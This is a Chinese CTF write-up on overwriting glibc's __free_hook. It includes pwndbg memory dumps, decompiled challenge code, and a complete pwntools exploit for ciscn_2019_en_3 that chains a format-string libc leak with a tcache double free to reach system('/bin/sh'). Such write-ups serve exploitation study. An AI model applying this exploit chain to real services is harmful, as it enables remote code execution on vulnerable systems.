free_hook的调用
1 2 3 4 5 6 void (*hook) (void *, const void *)= atomic_forced_read (__free_hook);if (__builtin_expect (hook != NULL , 0 )) { (*hook)(mem, RETURN_ADDRESS (0 ));return ; }
对应的汇编代码
1 2 3 4 5 6 7 .text:00000000000736F 4 sub rsp, 8 ; Alternative name is 'cfree' .text:00000000000736F 8 mov rax, cs:__free_hook_ptr .text:00000000000736F F mov rax, [rax] .text:0000000000073702 test rax, rax .text:0000000000073705 jz short loc_73710 .text:0000000000073707 mov rsi, [rsp+8 ] .text:000000000007370 C call rax
free_hook的存储的位置,在 free_hook上方 -0xb58 我们可以找到满足top_chunk要求的大小libc-2.27.so
1 2 3 4 5 6 7 pwndbg> p &__free_hook $2 = (void (**)(void *, const void *)) 0x7ffff7dcf8e8 <__free_hook> pwndbg> x/8 gx 0x7ffff7dcf8e8 - 0xb58 0x7ffff7dced90 <initial+16 >: 0x0000000000000004 0x05fc5621ed6fad69 0x7ffff7dceda0 <initial+32 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dcedb0 <initial+48 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dcedc0 <initial+64 >: 0x0000000000000000 0x0000000000000000
伪造的fastbin的addr为0x7ffff7dced90 当程序可以在该位置申请chunk的时候,通过重复向top_chunk申请 最终覆写__free_hook的值为system的值通过free /bin/sh\x00的chunk,达到程序流劫持getshell。
修改global_max_fast 通过fastbin attack 使得可以申请指定大小的,包含free_hook的chunk,比如利用0x7ffff7dced98处的值,但是这里要合理去构造偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> x/50 gx 0x7ffff7dcf8e8 -0xC00 0x7ffff7dcece8 <lock.10026 +8 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dcecf8 <maxmap>: 0x0000000000000000 0x0000000000000000 0x7ffff7dced08 <string_space_max>: 0x0000000000000000 0x0000000000000000 0x7ffff7dced18 <lock>: 0x0000000000000000 0x0000000000000000 0x7ffff7dced28 : 0x0000000000000000 0x0000000000000000 0x7ffff7dced38 <lock+8 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dced48 <phys_pages.8062 >: 0x0000000000000000 0x0000000000000000 0x7ffff7dced58 <last_environ>: 0x0000000000000000 0x0000000000000000 0x7ffff7dced68 <envlock>: 0x0000000000000000 0x0000000000000000 0x7ffff7dced78 : 0x0000000000000000 0x0000000000000000 0x7ffff7dced88 <initial+8 >: 0x0000000000000001 0x0000000000000004 0x7ffff7dced98 <initial+24 >: 0x05fc5621ed6fad69 0x0000000000000000 ......
看个例题8~ciscn_2019_en_3
1 2 3 4 5 6 7 [*] '~/ciscn_2019_en_3' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled```
程序只实现了add和delete main函数里的_printf_chk能泄露libc地址
1 2 3 4 5 6 puts ("What's your name?" ); read(0 , buf, 0x20 uLL); _printf_chk(1LL , buf);puts ("Please input your ID." ); read(0 , s, 8uLL );puts (s);
_printf_chk有两个参数,第一个参数0x1代表保护级别存入寄存器rdi,第二个参数才是我们输入的格式化利用字符串%p-%p-%p存入寄存器rsi。 动调发现寄存器rcx存放的是read+17的地址 根据64位linux下前6个寄存器传参的习惯(rdi/rsi/rdx/rcx/r8/r9) 此处已经用了两个寄存器。 所以第二个%p将会打印出rcx存放的值。
1 2 3 4 5 6 RCX 0x7ffff7af2031 (read+17 ) ◂— cmp rax, -0x1000 RDX 0x20 RDI 0x1 RSI 0x7fffffffe2a0 ◂— 0xa61616161 R8 0x11 R9 0x7ffff7fe1500 ◂— 0x7ffff7fe1500
add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 sub_BE9 () { int v0; int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); if ( dword_20204C > 16 ) puts ("Enough!" ); puts ("Please input the size of story: " ); _isoc99_scanf("%d" , &v2); *((_DWORD *)&unk_202060 + 4 * dword_20204C) = v2; v0 = dword_20204C; *((_QWORD *)&unk_202068 + 2 * v0) = malloc (v2); puts ("please inpute the story: " ); read(0 , *((void **)&unk_202068 + 2 * dword_20204C), v2); ++dword_20204C; puts ("Done!" ); return __readfsqword(0x28 u) ^ v3; }
delete存在UAF
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 sub_D32 () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Please input the index:" ); _isoc99_scanf("%d" , &v1); free (*((void **)&unk_202068 + 2 * v1)); puts ("Done!" ); return __readfsqword(0x28 u) ^ v2; }
打one_gadget没穿
1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ one_gadget libc-2.27 .so0x4f2c5 execve("/bin/sh" , rsp+0x40 , environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh" , rsp+0x40 , environ) constraints: [rsp+0x40 ] == NULL 0x10a38c execve("/bin/sh" , rsp+0x70 , environ) constraints: [rsp+0x70 ] == NULL
最后打的是将free_hook改为system,第二个堆块写’/bin/sh\x00’
1 2 3 4 5 6 [+] read : 0x7f8e125b6070 [+] libc_base : 0x7f8e124a6000 [+] sys_addr : 0x7f8e124f5440 [+] one_gadget : 0xff1c2499b322 [+] malloc_hook : 0x7f8e12891c30 [+] free_hook : 0x7f8e128938e8
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) libc = ELF('libc-2.27.so' ) elf = ELF('./ciscn_2019_en_3' ) p = remote('node4.buuoj.cn' ,29868 )def add (size,buf ): p.recvuntil("Input your choice:" ) p.sendline(str (1 )) p.recvuntil("Please input the size of story: \n" ) p.sendline(str (size)) p.recvuntil("please inpute the story: \n" ) p.sendline(buf)def free (idx ): p.recvuntil("Input your choice:" ) p.sendline(str (4 )) p.recvuntil("Please input the index:\n" ) p.sendline(str (idx)) one_gadget = 0x4f322 p.recvuntil("What's your name?\n" ) p.sendline(b"%p-%p-%p" ) p.recvuntil("-" ) info = p.recvuntil("-" , drop=True ) info = int (info.decode("ISO-8859-1" ), 16 )-17 read = libc.sym["read" ] libc_base = info-read sys_addr = libc_base + libc.sym['system' ] one_gadget = libc_base + 0x4f322 malloc_hook = libc_base + libc.sym['__malloc_hook' ] free_hook = libc_base + libc.sym['__free_hook' ] one_gadget = libc_base + one_gadget p.recvuntil("Please input your ID.\n" ) p.send("a" ) add(0x20 , "a" ) free(0 ) free(0 ) add(0x20 , p64(free_hook)) add(0x20 , "/bin/sh\x00" ) add(0x20 , p64(sys_addr)) free(1 ) success("read : " + hex (info)) success("libc_base : " + hex (libc_base)) success("sys_addr : " + hex (sys_addr)) success("one_gadget : " + hex (one_gadget)) success("malloc_hook : " + hex (malloc_hook)) success("free_hook : " + hex (free_hook)) p.interactive()